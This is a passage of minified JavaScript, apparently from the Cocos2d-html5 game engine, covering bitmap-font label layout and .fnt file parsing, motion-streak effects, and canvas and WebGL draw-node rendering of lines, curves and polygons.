  521. p+=t;if(f>=a)break;var v=this.Ib[f];h||(m=this.JB(r),h=!0);g||(k=m,g=!0);if(10==v.charCodeAt(0)){d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;s--;p-=t;e++;if(f>=a)break;m||(m=this.JB(r),h=!0);k||(k=m,g=!0);f++}else if(b.vF(v))d.push(v),c=c.concat(d),d.length=0,h=!1,m=-1,f++;else if(this.$V(r)-k>this.As)if(this.JK){b.XP(d);d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;e++;if(f>=a)break;m||(m=this.JB(r),h=!0);k||(k=m,g=!0);s--}else d.push(v),-1!=c.lastIndexOf(" ")?b.XP(c):c=[],0<c.length&&
  522. c.push("\n"),e++,g=!1,k=-1,f++;else d.push(v),f++}c=c.concat(d);s=c.length;r="";for(f=0;f<s;++f)r+=c[f];r+=String.fromCharCode(0);this.DL(r,!1)}if(this.Yq!=b.Iu)for(c=f=0,a=this.Ib.length,d=[],e=0;e<a;e++)if(10==this.Ib[e].charCodeAt(0)||0==this.Ib[e].charCodeAt(0))if(s=0,g=d.length,0==g)c++;else{if(r=f+g-1+c,!(0>r)&&(s=this.Ih(r),null!=s)){s=s.Te()+s.jh()/2;h=0;switch(this.Yq){case b.un:h=this.width/2-s/2;break;case b.ZH:h=this.width-s}if(0!=h)for(s=0;s<g;s++)(r=f+s+c,0>r||!(r=this.Ih(r)))||(r.x+=
  523. h);f+=g;c++;d.length=0}}else d.push(this.Ib[f])},a3:function(a){this.Yq=a;this.ng()},KV:function(){return this.Yq},f3:function(a){this.As=a;this.ng()},FB:function(){return this.As},mia:function(a){this.JK=a;this.ng()},an:function(a,c){b.q.prototype.an.call(this,a,c);this.ng()},Dt:function(a){b.q.prototype.Dt.call(this,a);this.ng()},Et:function(a){b.q.prototype.Et.call(this,a);this.ng()},Xha:function(a){if(null!=a&&a!=this.Kv){var c=b.V.Gd(a);c?(this.Kv=a,this.Jf=c,a=b.Da.Bc(c.lM),this.na=c=a.vc,this.texture=
  524. a,b.A===b.Ea&&(this.ke=this.texture),c?this.ix():a.Yd(function(a){this.na=!0;this.texture=a;this.ix();this.mk();this.ng();this.Qd()},this)):b.log("cc.LabelBMFont.setFntFile() : Impossible to create font. Please check file")}},Naa:function(){return this.Kv},fl:function(a,c){b.q.prototype.fl.call(this,a,c);this.ng()},AL:function(a){b.q.prototype.AL.call(this,a);this.ng()},XC:function(a){b.q.prototype.XC.call(this,a);this.ng()},YC:function(a){b.q.prototype.YC.call(this,a);this.ng()},N7:function(){},
  525. f8:function(a,c){var d=0;if(this.nV.s1){var e=this.nV.s1[(a<<16|c&65535).toString()];e&&(d=e.T8)}return d},JB:function(a){return a.Te()*this.pa-a.jh()*this.pa*a.Oc.x},$V:function(a){return a.Te()*this.pa+a.jh()*this.pa*a.Oc.x}});n=b.sz.prototype;b.f(n,"opacityModifyRGB",n.ue,n.Jd);b.f(n,"opacity",n.Se,n.Ba);b.f(n,"cascadeOpacity",n.ct,n.Fp);b.f(n,"color",n.Re,n.La);b.f(n,"cascadeColor",n.bt,n.Ep);b.f(n,"string",n.Zk,n.iY);b.f(n,"boundingWidth",n.FB,n.f3);b.f(n,"textAlign",n.KV,n.a3);
  526. b.sz.create=function(a,c,d,e,f){return new b.sz(a,c,d,e,f)};b.vF=function(a){a=a.charCodeAt(0);return 9<=a&&13>=a||32==a||133==a||160==a||5760==a||8192<=a&&8202>=a||8232==a||8233==a||8239==a||8287==a||12288==a};b.XP=function(a){var c=a.length;if(!(0>=c)&&(c-=1,b.vF(a[c]))){for(var d=c-1;0<=d;--d)if(b.vF(a[d]))c=d;else break;b.P4(a,c)}};b.P4=function(a,c){var d=a.length;c>=d||0>c||a.splice(c,d)};
  527. b.DV={nR:/info [^\n]*(\n|$)/gi,DQ:/common [^\n]*(\n|$)/gi,mS:/page [^\n]*(\n|$)/gi,CQ:/char [^\n]*(\n|$)/gi,uR:/kerning [^\n]*(\n|$)/gi,pR:/\w+=[^ \r\n]+/gi,oR:/^[\-]?\d+$/,Tr:function(a){a=a.match(this.pR);var c={};if(a)for(var d=0,e=a.length;d<e;d++){var f=a[d],g=f.indexOf("\x3d"),h=f.substring(0,g),f=f.substring(g+1);f.match(this.oR)?f=parseInt(f):'"'==f[0]&&(f=f.substring(1,f.length-1));c[h]=f}return c},k2:function(a,c){var d={};this.Tr(a.match(this.nR)[0]);var e=this.Tr(a.match(this.DQ)[0]);
  528. d.tE=e.lineHeight;if(b.A===b.$){var f=b.So.Mr;(e.scaleW>f.width||e.scaleH>f.height)&&b.log("cc.LabelBMFont._parseCommonArguments(): page can't be larger than supported")}1!==e.pages&&b.log("cc.LabelBMFont._parseCommonArguments(): only supports 1 page");e=this.Tr(a.match(this.mS)[0]);0!==e.id&&b.log("cc.LabelBMFont._parseImageFileName() : file could not be found");d.lM=b.path.Po(c,e.file);for(var g=a.match(this.CQ),h=d.t_={},e=0,f=g.length;e<f;e++){var k=this.Tr(g[e]);h[k.id]={rect:{x:k.x,y:k.y,width:k.width,
  529. height:k.height},aQ:k.xoffset,bQ:k.yoffset,V4:k.xadvance}}g=d.r1={};if(h=a.match(this.uR))for(e=0,f=h.length;e<f;e++)k=this.Tr(h[e]),g[k.first<<16|k.second&65535]=k.amount;return d},load:function(a,c,d,e){var f=this;b.V.ay(a,function(a,d){if(a)return e(a);e(null,f.k2(d,c))})}};b.V.Kj(["fnt"],b.DV);b.pH=b.ia.extend({texture:null,Yo:!1,Li:!1,o:null,ls:0,yB:0,$l:0,fC:0,Ck:0,GC:0,zC:null,yC:null,Ua:null,Ln:null,Xf:null,bd:null,Mn:null,Bo:null,ub:"MotionStreak",ctor:function(a,c,d,e,f){b.ia.prototype.ctor.call(this);this.Gg=N(0,0);this.o=new b.Rj(b.SRC_ALPHA,b.ONE_MINUS_SRC_ALPHA);this.UD=b.k.createBuffer();this.Li=this.Yo=!1;this.texture=null;this.GC=this.Ck=this.fC=this.$l=this.yB=this.ls=0;this.Bo=this.Mn=this.bd=this.Xf=this.Ln=this.Ua=this.yC=this.zC=null;void 0!==f&&this.S0(a,c,d,e,f)},Qa:function(){return this.texture},
  530. sb:function(a){this.texture!=a&&(this.texture=a)},Hh:function(){return this.o},We:function(a,c){void 0===c?this.o=a:(this.o.src=a,this.o.U=c)},Se:function(){b.log("cc.MotionStreak.getOpacity has not been supported.");return 0},Ba:function(){b.log("cc.MotionStreak.setOpacity has not been supported.")},Jd:function(){},ue:function(){return!1},vb:function(){b.q.prototype.vb.call(this);this.bd&&b.k.deleteBuffer(this.bd);this.Bo&&b.k.deleteBuffer(this.Bo);this.Mn&&b.k.deleteBuffer(this.Mn)},cda:function(){return this.Yo},
  531. Wha:function(a){this.Yo=a},oda:function(){return this.Li},Tia:function(a){this.Li=a},S0:function(a,c,d,e,f){if(!f)throw"cc.MotionStreak.initWithFade(): Invalid filename or texture";"string"===typeof f&&(f=b.Da.Bc(f));b.q.prototype.P.call(this,N(0,0));this.anchorY=this.anchorX=0;this.ignoreAnchor=!0;this.Li=!1;this.Yo=!0;this.$l=-1==c?d/5:c;this.$l*=this.$l;this.ls=d;this.yB=1/a;a=(0|60*a)+2;this.Ck=0;this.yC=new Float32Array(a);this.zC=new Float32Array(2*a);this.Ua=new Float32Array(4*a);this.Xf=new Float32Array(4*
  532. a);this.Ln=new Uint8Array(8*a);this.fC=a;a=b.k;this.bd=a.createBuffer();this.Bo=a.createBuffer();this.Mn=a.createBuffer();this.o.src=a.SRC_ALPHA;this.o.U=a.ONE_MINUS_SRC_ALPHA;this.shaderProgram=b.Ld.nc(b.Ti);this.texture=f;this.color=e;this.VO();a.bindBuffer(a.ARRAY_BUFFER,this.bd);a.bufferData(a.ARRAY_BUFFER,this.Ua,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Bo);a.bufferData(a.ARRAY_BUFFER,this.Xf,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Mn);a.bufferData(a.ARRAY_BUFFER,this.Ln,a.DYNAMIC_DRAW);
  533. return!0},$ja:function(a){this.color=a;for(var c=this.Ln,d=0,e=2*this.Ck;d<e;d++)c[4*d]=a.r,c[4*d+1]=a.g,c[4*d+2]=a.b},reset:function(){this.Ck=0},P:function(a,c){this.Li=!0;void 0===c?(this.Gg.x=a.x,this.Gg.y=a.y):(this.Gg.x=a,this.Gg.y=c)},Te:function(){return this.Gg.x},lP:function(a){this.Gg.x=a;this.Li||(this.Li=!0)},Ng:function(){return this.Gg.y},mP:function(a){this.Gg.y=a;this.Li||(this.Li=!0)},Z:function(a){1>=this.Ck||!this.texture||!this.texture.vc||(a=a||b.k,b.kt(this),b.Ic(b.Gl),b.Mh(this.o.src,
  534. this.o.U),b.te(this.texture),a.bindBuffer(a.ARRAY_BUFFER,this.bd),a.bufferData(a.ARRAY_BUFFER,this.Ua,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.Bo),a.bufferData(a.ARRAY_BUFFER,this.Xf,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.Mn),a.bufferData(a.ARRAY_BUFFER,this.Ln,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,0,0),a.drawArrays(a.TRIANGLE_STRIP,0,2*this.Ck),b.bg++)},update:function(a){if(this.Li){a*=
  535. this.yB;var c,d,e,f,g=0,h=this.Ck,k=this.yC,m=this.zC,p=this.Ua,r=this.Ln;for(e=0;e<h;e++)k[e]-=a,0>=k[e]?g++:(c=e-g,0<g?(k[c]=k[e],m[2*c]=m[2*e],m[2*c+1]=m[2*e+1],f=2*e,d=2*c,p[2*d]=p[2*f],p[2*d+1]=p[2*f+1],p[2*(d+1)]=p[2*(f+1)],p[2*(d+1)+1]=p[2*(f+1)+1],f*=4,d*=4,r[d+0]=r[f+0],r[d+1]=r[f+1],r[d+2]=r[f+2],r[d+4]=r[f+4],r[d+5]=r[f+5],r[d+6]=r[f+6]):d=8*c,c=255*k[c],r[d+3]=c,r[d+7]=c);h-=g;e=!0;h>=this.fC?e=!1:0<h&&(a=1==h?!1:b.wO(N(m[2*(h-2)],m[2*(h-2)+1]),this.Gg)<2*this.$l,b.wO(N(m[2*(h-1)],m[2*
  536. (h-1)+1]),this.Gg)<this.$l||a)&&(e=!1);e&&(m[2*h]=this.Gg.x,m[2*h+1]=this.Gg.y,k[h]=1,e=8*h,k=this.Fa,r[e]=k.r,r[e+1]=k.g,r[e+2]=k.b,r[e+4]=k.r,r[e+5]=k.g,r[e+6]=k.b,r[e+3]=255,r[e+7]=255,0<h&&this.Yo&&(1<h?b.GG(m,this.ls,this.Ua,h,1):b.GG(m,this.ls,this.Ua,0,2)),h++);this.Yo||b.GG(m,this.ls,this.Ua,0,h);if(h&&this.GC!=h){m=1/h;r=this.Xf;for(e=0;e<h;e++)r[4*e]=0,r[4*e+1]=m*e,r[2*(2*e+1)]=1,r[2*(2*e+1)+1]=m*e;this.GC=h}this.Ck=h}}});b.pH.create=function(a,c,d,e,f){return new b.pH(a,c,d,e,f)};b.Az=b.q.extend({grid:null,pe:null,Ss:function(){return this.grid},u3:function(a){this.grid=a},qG:function(a){this.pe=a},N:function(a,c,d){b.q.prototype.N.call(this,a,c,d);a&&!this.pe&&(this.pe=a)},T:function(){if(this.zc){var a=b.A==b.$,c=this.grid;a&&c&&c.jk&&c.Hs();this.transform();var d=this.s;if(d&&0<d.length){var e=d.length;this.Tc();for(i=0;i<e;i++){var f=d[i];f&&f.T()}}a&&c&&c.jk&&c.Es(this.pe)}},BY:function(){var a=this.JD,c=b.Vb.top,d=this.Ve(),e=a.c;e[0]=d.a;e[4]=d.C;e[12]=d.Na;e[1]=d.b;
  537. e[5]=d.I;e[13]=d.Oa;e[14]=this.ys;b.Ei(c,c,a);null==this.Xi||this.grid&&this.grid.xf()||(a=this.kb.x,c=this.kb.y,0!==a||0!==c?(b.Zz||(a|=0,c|=0),b.mp(a,c),this.Xi.jt(),b.mp(-a,-c)):this.Xi.jt())}});n=b.Az.prototype;b.A===b.$&&(n.transform=n.BY);b.f(n,"target",null,n.qG);b.Az.create=function(){return new b.Az};b.jka=function(){return{x:0,y:0}};b.ll=function(a,c){return{x:a,y:c}};b.we=function(a,c){return b.ll(a.x+c.x,a.y+c.y)};b.oc=function(a,c){return b.ll(a.x-c.x,a.y-c.y)};b.vd=function(a,c){return b.ll(a.x*c,a.y*c)};b.Pp=function(a){return b.ll(-a.y,a.x)};b.og=function(a){return b.ll(-a.x,-a.y)};b.YP=function(a,c){return a.x*c.x+a.y*c.y};b.ika=function(a){return b.ll(Math.cos(a),Math.sin(a))};b.Ut=function(a){a=b.Pg(N(a.x,a.y));return b.ll(a.x,a.y)};b.Be=function(a){return b.ll(a.x,a.y)};
  538. b.Ia=function(a){return{ea:a.x,fa:a.y}};
  539. b.RQ=b.q.extend({cb:null,o:null,Xc:1,jf:null,ub:"DrawNodeCanvas",ctor:function(){b.q.prototype.ctor.call(this);this.cb=[];this.jf=b.color(255,255,255,255);this.o=new b.Rj(b.hc,b.gc);this.G()},Hh:function(){return this.o},We:function(a,c){void 0===c?(this.o.src=a.src,this.o.U=a.U):(this.o.src=a,this.o.U=c)},hG:function(a){this.Xc=a},W_:function(){return this.Xc},Gp:function(a){var c=this.jf;c.r=a.r;c.g=a.g;c.b=a.b;c.a=null==a.a?255:a.a},Fd:function(){return b.color(this.jf.r,this.jf.g,this.jf.b,this.jf.a)},
  540. FE:function(a,c,d,e,f){e=e||this.Xc;f=f||this.Fd();null==f.a&&(f.a=255);a=[a,N(c.x,a.y),c,N(a.x,c.y)];c=new b.dk(b.Nd.Zj);c.pg=a;c.lineWidth=e;c.Fj=f;c.Mx=!0;c.al=!0;c.lineCap="butt";if(c.fillColor=d)null==d.a&&(d.a=255),c.tF=!0;this.cb.push(c)},BE:function(a,c,d,e,f,g,h){g=g||this.Xc;h=h||this.Fd();null==h.a&&(h.a=255);for(var k=2*Math.PI/e,m=[],p=0;p<=e;p++){var r=p*k;m.push(N(c*Math.cos(r+d)+a.x,c*Math.sin(r+d)+a.y))}f&&m.push(N(a.x,a.y));a=new b.dk(b.Nd.Zj);a.pg=m;a.lineWidth=g;a.Fj=h;a.Mx=!0;
  541. a.al=!0;this.cb.push(a)},EE:function(a,c,d,e,f,g){f=f||this.Xc;g=g||this.Fd();null==g.a&&(g.a=255);for(var h=[],k=0,m=0;m<e;m++)h.push(N(Math.pow(1-k,2)*a.x+2*(1-k)*k*c.x+k*k*d.x,Math.pow(1-k,2)*a.y+2*(1-k)*k*c.y+k*k*d.y)),k+=1/e;h.push(N(d.x,d.y));a=new b.dk(b.Nd.Zj);a.pg=h;a.lineWidth=f;a.Fj=g;a.al=!0;a.lineCap="round";this.cb.push(a)},CE:function(a,c,d,e,f,g,h){g=g||this.Xc;h=h||this.Fd();null==h.a&&(h.a=255);for(var k=[],m=0,p=0;p<f;p++)k.push(N(Math.pow(1-m,3)*a.x+3*Math.pow(1-m,2)*m*c.x+3*(1-
  542. m)*m*m*d.x+m*m*m*e.x,Math.pow(1-m,3)*a.y+3*Math.pow(1-m,2)*m*c.y+3*(1-m)*m*m*d.y+m*m*m*e.y)),m+=1/f;k.push(N(e.x,e.y));a=new b.dk(b.Nd.Zj);a.pg=k;a.lineWidth=g;a.Fj=h;a.al=!0;a.lineCap="round";this.cb.push(a)},AE:function(a,c,d,e){this.Em(a,0.5,c,d,e)},Em:function(a,c,d,e,f){e=e||this.Xc;f=f||this.Fd();null==f.a&&(f.a=255);for(var g=[],h,k,m=1/a.length,p=0;p<d+1;p++)k=p/d,1==k?(h=a.length-1,k=1):(h=0|k/m,k=(k-m*h)/m),h=b.pE(b.dd(a,h-1),b.dd(a,h-0),b.dd(a,h+1),b.dd(a,h+2),c,k),g.push(h);a=new b.dk(b.Nd.Zj);
  543. a.pg=g;a.lineWidth=e;a.Fj=f;a.al=!0;a.lineCap="round";this.cb.push(a)},DE:function(a,c,d){d=d||this.Fd();null==d.a&&(d.a=255);var e=new b.dk(b.Nd.bI);e.pg=[a];e.lineWidth=c;e.fillColor=d;this.cb.push(e)},PZ:function(a,c,d){if(a&&0!=a.length){d=d||this.Fd();null==d.a&&(d.a=255);for(var e=0,f=a.length;e<f;e++)this.DE(a[e],c,d)}},GE:function(a,c,d,e){d=d||this.Xc;e=e||this.Fd();null==e.a&&(e.a=255);var f=new b.dk(b.Nd.Zj);f.pg=[a,c];f.lineWidth=2*d;f.Fj=e;f.al=!0;f.lineCap="round";this.cb.push(f)},TZ:function(a,
  544. c,d,e){d=d||this.Xc;e=e||this.Fd();null==e.a&&(e.a=255);var f=new b.dk(b.Nd.Zj);f.pg=a;f.fillColor=c;f.lineWidth=d;f.Fj=e;f.Mx=!0;f.al=!0;f.lineCap="round";c&&(f.tF=!0);this.cb.push(f)},Zd:function(a,c,d,e){for(var f=[],g=0;g<a.length;g++)f.push(N(a[g].x,a[g].y));return this.TZ(f,c,d,e)},Z:function(a){a=a||b.k;this.o&&this.o.src==b.SRC_ALPHA&&this.o.U==b.ONE&&(a.globalCompositeOperation="lighter");for(var c=0;c<this.cb.length;c++){var d=this.cb[c];switch(d.type){case b.Nd.bI:this.wV(a,d);break;case b.Nd.GT:this.yV(a,
  545. d);break;case b.Nd.Zj:this.xV(a,d)}}},wV:function(a,c){var d=c.fillColor,e=c.pg[0],f=c.lineWidth,g=b.view.pa,h=b.view.Ta;a.fillStyle="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+","+d.a/255+")";a.beginPath();a.arc(e.x*g,-e.y*h,f*g,0,2*Math.PI,!1);a.closePath();a.fill()},yV:function(a,c){var d=c.Fj,e=c.pg[0],f=c.pg[1],g=c.lineWidth,h=c.lineCap,k=b.view.pa,m=b.view.Ta;a.strokeStyle="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+","+d.a/255+")";a.lineWidth=g*k;a.beginPath();a.lineCap=h;a.moveTo(e.x*k,-e.y*m);a.lineTo(f.x*
  546. k,-f.y*m);a.stroke()},xV:function(a,c){var d=c.pg,e=c.lineCap,f=c.fillColor,g=c.lineWidth,h=c.Fj,k=c.Mx,m=c.tF,p=c.al;if(null!=d){var r=d[0],s=b.view.pa,u=b.view.Ta;a.lineCap=e;f&&(a.fillStyle="rgba("+(0|f.r)+","+(0|f.g)+","+(0|f.b)+","+f.a/255+")");g&&(a.lineWidth=g*s);h&&(a.strokeStyle="rgba("+(0|h.r)+","+(0|h.g)+","+(0|h.b)+","+h.a/255+")");a.beginPath();a.moveTo(r.x*s,-r.y*u);e=1;for(f=d.length;e<f;e++)a.lineTo(d[e].x*s,-d[e].y*u);k&&a.closePath();m&&a.fill();p&&a.stroke()}},clear:function(){this.cb.length=
  547. 0}});
  548. b.SQ=b.q.extend({Gn:0,cb:null,yj:null,UL:null,TL:null,Xc:1,jf:null,o:null,lb:!1,ub:"DrawNodeWebGL",Hh:function(){return this.o},We:function(a,c){void 0===c?(this.o.src=a.src,this.o.U=a.U):(this.o.src=a,this.o.U=c)},ctor:function(){b.q.prototype.ctor.call(this);this.cb=[];this.o=new b.Rj(b.hc,b.gc);this.jf=b.color(255,255,255,255);this.G()},G:function(){return b.q.prototype.G.call(this)?(this.shaderProgram=b.Ld.nc(b.QH),this.qr(64),this.UL=b.k.createBuffer(),this.lb=!0):!1},hG:function(a){this.Xc=a},
  549. W_:function(){return this.Xc},Gp:function(a){var c=this.jf;c.r=a.r;c.g=a.g;c.b=a.b;c.a=a.a},Fd:function(){return b.color(this.jf.r,this.jf.g,this.jf.b,this.jf.a)},FE:function(a,c,d,e,f){e=e||this.Xc;f=f||this.Fd();null==f.a&&(f.a=255);a=[a,N(c.x,a.y),c,N(a.x,c.y)];null==d?this.yv(a,e,f,!0):this.Zd(a,d,e,f)},BE:function(a,c,d,e,f,g,h){g=g||this.Xc;h=h||this.Fd();null==h.a&&(h.a=255);var k=2*Math.PI/e,m=[],p;for(p=0;p<=e;p++){var r=p*k;m.push(N(c*Math.cos(r+d)+a.x,c*Math.sin(r+d)+a.y))}f&&m.push(N(a.x,
  550. a.y));g*=0.5;p=0;for(a=m.length;p<a-1;p++)this.GE(m[p],m[p+1],g,h)},EE:function(a,c,d,e,f,g){f=f||this.Xc;g=g||this.Fd();null==g.a&&(g.a=255);for(var h=[],k=0,m=0;m<e;m++)h.push(N(Math.pow(1-k,2)*a.x+2*(1-k)*k*c.x+k*k*d.x,Math.pow(1-k,2)*a.y+2*(1-k)*k*c.y+k*k*d.y)),k+=1/e;h.push(N(d.x,d.y));this.yv(h,f,g,!1)},CE:function(a,c,d,e,f,g,h){g=g||this.Xc;h=h||this.Fd();null==h.a&&(h.a=255);for(var k=[],m=0,p=0;p<f;p++)k.push(N(Math.pow(1-m,3)*a.x+3*Math.pow(1-m,2)*m*c.x+3*(1-m)*m*m*d.x+m*m*m*e.x,Math.pow(1-
  551. m,3)*a.y+3*Math.pow(1-m,2)*m*c.y+3*(1-m)*m*m*d.y+m*m*m*e.y)),m+=1/f;k.push(N(e.x,e.y));this.yv(k,g,h,!1)},AE:function(a,c,d,e){this.Em(a,0.5,c,d,e)},Em:function(a,c,d,e,f){e=e||this.Xc;f=f||this.Fd();null==f.a&&(f.a=255);for(var g=[],h,k,m=1/a.length,p=0;p<d+1;p++)k=p/d,1==k?(h=a.length-1,k=1):(h=0|k/m,k=(k-m*h)/m),h=b.pE(b.dd(a,h-1),b.dd(a,h-0),b.dd(a,h+1),b.dd(a,h+2),c,k),g.push(h);e*=0.5;a=0;for(c=g.length;a<c-1;a++)this.GE(g[a],g[a+1],e,f)},BX:function(){var a=b.k;b.Ic(b.Gl);a.bindBuffer(a.ARRAY_BUFFER,
  552. this.UL);this.lb&&(a.bufferData(a.ARRAY_BUFFER,this.yj,a.STREAM_DRAW),this.lb=!1);var c=b.xd.BYTES_PER_ELEMENT;a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,c,0);a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,c,8);a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,c,12);a.drawArrays(a.TRIANGLES,0,3*this.cb.length);b.cg()},qr:function(a){var c=this.cb;if(c.length+a>this.Gn){var d=b.Yb.BYTES_PER_ELEMENT;this.Gn+=Math.max(this.Gn,a);if(null==c||0===c.length)this.cb=[],this.yj=new ArrayBuffer(d*this.Gn),this.TL=new Uint8Array(this.yj);
  553. else{a=[];for(var e=new ArrayBuffer(d*this.Gn),f=0;f<c.length;f++)a[f]=new b.Yb(c[f].a,c[f].b,c[f].C,e,f*d);this.TL=new Uint8Array(e);this.yj=e;this.cb=a}}},Z:function(){b.Mh(this.o.src,this.o.U);this.Hb.Mc();this.Hb.It();this.BX()},DE:function(a,c,d){d=d||this.Fd();null==d.a&&(d.a=255);var e={r:0|d.r,g:0|d.g,b:0|d.b,a:0|d.a};d={i:{x:a.x-c,y:a.y-c},t:e,l:{ea:-1,fa:-1}};var f={i:{x:a.x-c,y:a.y+c},t:e,l:{ea:-1,fa:1}},g={i:{x:a.x+c,y:a.y+c},t:e,l:{ea:1,fa:1}};a={i:{x:a.x+c,y:a.y-c},t:e,l:{ea:1,fa:-1}};
  554. this.qr(6);this.cb.push(new b.Yb(d,f,g,this.yj,this.cb.length*b.Yb.BYTES_PER_ELEMENT));this.cb.push(new b.Yb(d,g,a,this.yj,this.cb.length*b.Yb.BYTES_PER_ELEMENT));this.lb=!0},PZ:function(a,c,d){if(a&&0!=a.length){d=d||this.Fd();null==d.a&&(d.a=255);for(var e=0,f=a.length;e<f;e++)this.DE(a[e],c,d)}},GE:function(a,c,d,e){e=e||this.Fd();null==e.a&&(e.a=255);d=d||0.5*this.Xc;this.qr(18);e={r:0|e.r,g:0|e.g,b:0|e.b,a:0|e.a};var f=b.Be(a);c=b.Be(c);a=b.Ut(b.Pp(b.oc(c,f)));var g=b.Pp(a),h=b.vd(a,d);d=b.vd(g,
  555. d);var k=b.we(c,b.oc(h,d)),m=b.oc(c,h),p=b.we(c,h),r=b.oc(f,h),s=b.we(f,h),u=b.oc(f,b.oc(h,d)),f=b.we(f,b.we(h,d)),t=b.Yb.BYTES_PER_ELEMENT,v=this.yj,w=this.cb;w.push(new b.Yb({i:b.oc(c,b.we(h,d)),t:e,l:b.Ia(b.og(b.we(a,g)))},{i:k,t:e,l:b.Ia(b.oc(a,g))},{i:m,t:e,l:b.Ia(b.og(a))},v,w.length*t));w.push(new b.Yb({i:p,t:e,l:b.Ia(a)},{i:k,t:e,l:b.Ia(b.oc(a,g))},{i:m,t:e,l:b.Ia(b.og(a))},v,w.length*t));w.push(new b.Yb({i:p,t:e,l:b.Ia(a)},{i:r,t:e,l:b.Ia(b.og(a))},{i:m,t:e,l:b.Ia(b.og(a))},v,w.length*t));
  556. w.push(new b.Yb({i:p,t:e,l:b.Ia(a)},{i:r,t:e,l:b.Ia(b.og(a))},{i:s,t:e,l:b.Ia(a)},v,w.length*t));w.push(new b.Yb({i:u,t:e,l:b.Ia(b.oc(g,a))},{i:r,t:e,l:b.Ia(b.og(a))},{i:s,t:e,l:b.Ia(a)},v,w.length*t));w.push(new b.Yb({i:u,t:e,l:b.Ia(b.oc(g,a))},{i:f,t:e,l:b.Ia(b.we(a,g))},{i:s,t:e,l:b.Ia(a)},v,w.length*t));this.lb=!0},Zd:function(a,c,d,e){if(null==c)this.yv(a,d,e,!0);else{null==c.a&&(c.a=255);null==e.a&&(e.a=255);d=d||this.Xc;d*=0.5;c={r:0|c.r,g:0|c.g,b:0|c.b,a:0|c.a};e={r:0|e.r,g:0|e.g,b:0|e.b,
  557. a:0|e.a};var f=[],g,h,k,m,p=a.length;for(g=0;g<p;g++){h=b.Be(a[(g-1+p)%p]);k=b.Be(a[g]);m=b.Be(a[(g+1)%p]);var r=b.Ut(b.Pp(b.oc(k,h)));k=b.Ut(b.Pp(b.oc(m,k)));f[g]={offset:b.vd(b.we(r,k),1/(b.YP(r,k)+1)),cl:k}}r=0<d;this.qr(3*(3*p-2));var s=b.Yb.BYTES_PER_ELEMENT,u=this.yj,t=this.cb,v=!1==r?0.5:0;for(g=0;g<p-2;g++)h=b.oc(b.Be(a[0]),b.vd(f[0].offset,v)),k=b.oc(b.Be(a[g+1]),b.vd(f[g+1].offset,v)),m=b.oc(b.Be(a[g+2]),b.vd(f[g+2].offset,v)),t.push(new b.Yb({i:h,t:c,l:b.Ia({x:0,y:0})},{i:k,t:c,l:b.Ia({x:0,
  558. y:0})},{i:m,t:c,l:b.Ia({x:0,y:0})},u,t.length*s));for(g=0;g<p;g++){v=(g+1)%p;h=b.Be(a[g]);k=b.Be(a[v]);m=f[g].cl;var w=f[g].offset,y=f[v].offset,v=r?b.oc(h,b.vd(w,d)):b.oc(h,b.vd(w,0.5)),B=r?b.oc(k,b.vd(y,d)):b.oc(k,b.vd(y,0.5));h=r?b.we(h,b.vd(w,d)):b.we(h,b.vd(w,0.5));k=r?b.we(k,b.vd(y,d)):b.we(k,b.vd(y,0.5));r?(t.push(new b.Yb({i:v,t:e,l:b.Ia(b.og(m))},{i:B,t:e,l:b.Ia(b.og(m))},{i:k,t:e,l:b.Ia(m)},u,t.length*s)),t.push(new b.Yb({i:v,t:e,l:b.Ia(b.og(m))},{i:h,t:e,l:b.Ia(m)},{i:k,t:e,l:b.Ia(m)},
  559. u,t.length*s))):(t.push(new b.Yb({i:v,t:c,l:b.Ia({x:0,y:0})},{i:B,t:c,l:b.Ia({x:0,y:0})},{i:k,t:c,l:b.Ia(m)},u,t.length*s)),t.push(new b.Yb({i:v,t:c,l:b.Ia({x:0,y:0})},{i:h,t:c,l:b.Ia(m)},{i:k,t:c,l:b.Ia(m)},u,t.length*s)))}this.lb=!0}},yv:function(a,c,d,e){c=c||this.Xc;d=d||this.jf;null==d.a&&(d.a=255);c*=0.5;if(!(0>=c)){d={r:0|d.r,g:0|d.g,b:0|d.b,a:0|d.a};var f=[],g,h,k,m,p=a.length;for(g=0;g<p;g++){h=b.Be(a[(g-1+p)%p]);k=b.Be(a[g]);m=b.Be(a[(g+1)%p]);var r=b.Ut(b.Pp(b.oc(k,h)));k=b.Ut(b.Pp(b.oc(m,
  560. k)));f[g]={offset:b.vd(b.we(r,k),1/(b.YP(r,k)+1)),cl:k}}this.qr(3*(3*p-2));m=b.Yb.BYTES_PER_ELEMENT;var r=this.yj,s=this.cb;e=e?p:p-1;for(g=0;g<e;g++){var u=(g+1)%p;h=b.Be(a[g]);k=b.Be(a[u]);var t=f[g].cl,v=f[g].offset,u=f[u].offset,w=b.oc(h,b.vd(v,c));h=b.we(h,b.vd(v,c));v=b.we(k,b.vd(u,c));s.push(new b.Yb({i:w,t:d,l:b.Ia(b.og(t))},{i:b.oc(k,b.vd(u,c)),t:d,l:b.Ia(b.og(t))},{i:v,t:d,l:b.Ia(t)},r,s.length*m));s.push(new b.Yb({i:w,t:d,l:b.Ia(b.og(t))},{i:h,t:d,l:b.Ia(t)},{i:v,t:d,l:b.Ia(t)},r,s.length*
